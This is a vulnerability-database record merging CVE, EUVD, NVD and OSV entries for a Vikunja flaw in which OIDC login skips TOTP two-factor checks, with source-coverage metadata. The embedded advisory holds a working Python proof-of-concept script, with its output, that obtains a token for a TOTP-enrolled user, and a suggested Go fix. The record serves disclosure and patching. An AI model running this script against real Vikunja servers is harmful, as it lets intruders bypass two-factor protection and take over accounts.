{"id":"GHSA-8jvc-mcx6-r4cg","revision":null,"records":[{"revision":"4dc70501bf3a4572adf8d4f1e26bb6fd","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-34727","aliases":[],"title":"Vikunja ahs a TOTP Two-Factor Authentication Bypass via OIDC Login Path","description":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped. This vulnerability is fixed in 2.3.0.","state":0,"publishedAt":"2026-04-10T15:45:30.662+00:00","modifiedAt":"2026-04-13T15:37:32.071+00:00","affected":[{"ecosystem":"Vendor product","name":"vikunja","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"go-vikunja\",\n                    \"product\": \"vikunja\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.3.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"severity":"HIGH"}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8jvc-mcx6-r4cg"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-34727","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-34727","identifiers":["CVE-2026-34727"]},"retained":false,"historicalAffected":[]},{"revision":"a19b9ba18db04e8094302e7fb64d4c3f","observedAt":"2026-11-07T08:29:00.819+00:00","statement":{"source":"euvd","id":"EUVD-2026-21414","aliases":["CVE-2026-34727","GHSA-8jvc-mcx6-r4cg"],"title":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with T…","description":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped. This vulnerability is fixed in 2.3.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"severity":null}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8jvc-mcx6-r4cg"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-21414","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Apr 10, 2026, 3:45:30 PM","dateUpdated":"Apr 13, 2026, 3:37:32 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-21414","identifiers":["EUVD-2026-21414","CVE-2026-34727","GHSA-8jvc-mcx6-r4cg"]},"retained":false,"historicalAffected":[]},{"revision":"2b05692c536544d393baa07efc1ead97","observedAt":"2026-10-27T09:03:08.102+00:00","statement":{"source":"nvd","id":"CVE-2026-34727","aliases":[],"title":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with T…","description":"Vikunja is an open-source self-hosted task management platform. Prior to 2.3.0, the OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped. This vulnerability is fixed in 2.3.0.","state":0,"publishedAt":"2026-04-10T16:16:31.853+00:00","modifiedAt":"2026-10-26T00:10:00.15+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":7.4,"severity":"HIGH"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","score":9.1,"severity":"CRITICAL"}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8jvc-mcx6-r4cg"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34727","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-287"],"productCriteria":["cpe:2.3:a:vikunja:vikunja:*:*:*:*:*:*:*:*"],"sourceDates":{"published":"2026-04-10T16:16:31.853","lastModified":"2026-10-26T00:10:00.150"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-34727","identifiers":["CVE-2026-34727"]},"retained":false,"historicalAffected":[]},{"revision":"93e9762613414300bebfbb8aa6f7c19a","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-8jvc-mcx6-r4cg","aliases":["CVE-2026-34727","GO-2026-5258"],"title":"Vikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path","description":"## Summary\n\nThe OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.\n\n## Details\n\nThe OIDC callback at `pkg/modules/auth/openid/openid.go:185` issues a JWT directly after user lookup:\n\n```go\nreturn auth.NewUserAuthTokenResponse(u, c, false)\n```\n\nThere are zero references to TOTP in the entire `pkg/modules/auth/openid/` directory. By contrast, the local login handler at `pkg/routes/api/v1/login.go:79-102` correctly implements TOTP verification:\n\n```go\ntotpEnabled, err := user2.TOTPEnabledForUser(s, user)\nif totpEnabled {\n    if u.TOTPPasscode == \"\" {\n        _ = s.Rollback()\n        return user2.ErrInvalidTOTPPasscode{}\n    }\n    _, err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{\n        User:     user,\n        Passcode: u.TOTPPasscode,\n    })\n```\n\nWhen OIDC `EmailFallback` maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2 with Dex as the OIDC provider.\n\nSetup:\n- Vikunja configured with `emailfallback: true` for Dex\n- Local user `alice` (id=1) has TOTP enabled\n\n```python\nimport requests, re, html\nfrom urllib.parse import parse_qs, urlparse\n\nTARGET = \"http://localhost:3456\"\nDEX = \"http://localhost:5556\"\nAPI = f\"{TARGET}/api/v1\"\n\n# verify TOTP is required for local login\nr = requests.post(f\"{API}/login\",\n    json={\"username\": \"alice\", \"password\": \"Alice1234!\"})\nprint(f\"Local login without TOTP: {r.status_code} code={r.json().get('code')}\")\n# Output: 412 code=1017 (TOTP required)\n\n# login via OIDC (same flow as VIK-020 PoC)\ns = requests.Session()\nr = s.get(f\"{DEX}/dex/auth?client_id=vikunja\"\n          f\"&redirect_uri={TARGET}/auth/openid/dex\"\n          f\"&response_type=code&scope=openid+profile+email&state=x\")\naction = html.unescape(re.search(r'action=\"([^\"]*)\"', r.text).group(1))\nif not action.startswith(\"http\"): action = DEX + action\nr = s.post(action, data={\"login\": \"alice@test.com\", \"password\": \"password\"},\n           allow_redirects=False)\napproval_url = DEX + r.headers[\"Location\"]\nr = s.get(approval_url)\nreq = re.search(r'name=\"req\" value=\"([^\"]*)\"', r.text).group(1)\nr = s.post(approval_url, data={\"req\": req, \"approval\": \"approve\"},\n           allow_redirects=False)\ncode = parse_qs(urlparse(r.headers[\"Location\"]).query)[\"code\"][0]\n\nresp = requests.post(f\"{API}/auth/openid/dex/callback\",\n    json={\"code\": code, \"redirect_url\": f\"{TARGET}/auth/openid/dex\"})\nprint(f\"OIDC login: {resp.status_code}\")\n\nuser = requests.get(f\"{API}/user\",\n    headers={\"Authorization\": f\"Bearer {resp.json()['token']}\"}).json()\nprint(f\"User: id={user['id']} username={user['username']}\")\n# TOTP was completely bypassed\n```\n\nOutput:\n```\nLocal login without TOTP: 412 code=1017\nOIDC login: 200\nUser: id=1 username=alice\n```\n\nLocal login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.\n\n## Impact\n\nWhen an administrator enables OIDC with `EmailFallback`, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.\n\nThis vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing `email_verified` check). Together, they allow an attacker to bypass both the password and the TOTP second factor.\n\n## Recommended Fix\n\nAdd a TOTP check in the OIDC callback before issuing the JWT:\n\n```go\ntotpEnabled, err := user.TOTPEnabledForUser(s, u)\nif err != nil {\n    _ = s.Rollback()\n    return err\n}\nif totpEnabled {\n    _ = s.Rollback()\n    return echo.NewHTTPError(http.StatusForbidden,\n        \"TOTP verification required. Please use the local login endpoint.\")\n}\nreturn auth.NewUserAuthTokenResponse(u, c, false)\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*","state":0,"publishedAt":"2026-04-10T15:30:57+00:00","modifiedAt":"2026-07-21T13:49:14+00:00","affected":[{"ecosystem":"Go","name":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.3.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8jvc-mcx6-r4cg","https://nvd.nist.gov/vuln/detail/CVE-2026-34727","https://github.com/go-vikunja/vikunja/pull/2582","https://github.com/go-vikunja/vikunja/commit/b642b2a4536a3846e627a78dce2fdd1be425e6a1","https://github.com/go-vikunja/vikunja","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"],"sourceUrl":"https://github.com/advisories/GHSA-8jvc-mcx6-r4cg","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-8jvc-mcx6-r4cg","identifiers":["GHSA-8jvc-mcx6-r4cg","CVE-2026-34727","GO-2026-5258"]},"retained":false,"historicalAffected":[]},{"revision":"26c8d970be8845eaaaf4c816bff4ff82","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5258","aliases":["CVE-2026-34727","GHSA-8jvc-mcx6-r4cg"],"title":"Vikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path in code.vikunja.io/api","description":"Vikunja has TOTP Two-Factor Authentication Bypass via OIDC Login Path in code.vikunja.io/api.\n\nNOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.\n\n(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)\n\nThe additional affected modules and versions are: code.vikunja.io/api before v2.3.0.","state":0,"publishedAt":"2026-06-25T18:43:15+00:00","modifiedAt":"2026-06-25T19:45:22.2751437+00:00","affected":[{"ecosystem":"Go","name":"code.vikunja.io/api","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/go-vikunja/vikunja/security/advisories/GHSA-8jvc-mcx6-r4cg","https://nvd.nist.gov/vuln/detail/CVE-2026-34727","https://github.com/go-vikunja/vikunja/commit/b642b2a4536a3846e627a78dce2fdd1be425e6a1","https://github.com/go-vikunja/vikunja/pull/2582","https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5258","license":"OSV · upstream source license applies","key":"osv:GO-2026-5258","identifiers":["GO-2026-5258","CVE-2026-34727","GHSA-8jvc-mcx6-r4cg"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T20:07:23.8593986+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T20:07:23.8593986+00:00","lastSuccessAt":"2026-11-07T20:07:24.014368+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:24.014369+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-aac6631b84e101279eb6b1c3835f52bf7b26c50f4d25bc0fb35977235593f4a7","complete":true,"records":420943,"lastAttemptAt":"2026-11-07T20:07:23.1739993+00:00","lastSuccessAt":"2026-11-07T20:07:23.0712879+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.1739993+00:00","snapshotPublishedAt":"2026-11-07T19:18:33+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c5a2504558b549559b8658a653596391","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T20:19:26.3099435+00:00","lastSuccessAt":"2026-11-07T20:19:26.304+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:19:26.304+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T20:07:23.8593986+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T20:07:23.8593986+00:00","lastSuccessAt":"2026-11-07T20:07:24.0152025+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:24.0152028+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-191690d52ba04a91b1a2749fa6191ceb","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T20:07:42.8841875+00:00","lastSuccessAt":"2026-11-07T20:07:42.881+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:42.881+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T20:07:23.800032+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.800032+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T20:07:23.2420378+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.2420378+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T20:07:23.8227715+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.8227715+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T20:07:23.4659623+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T20:07:23.4659623+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}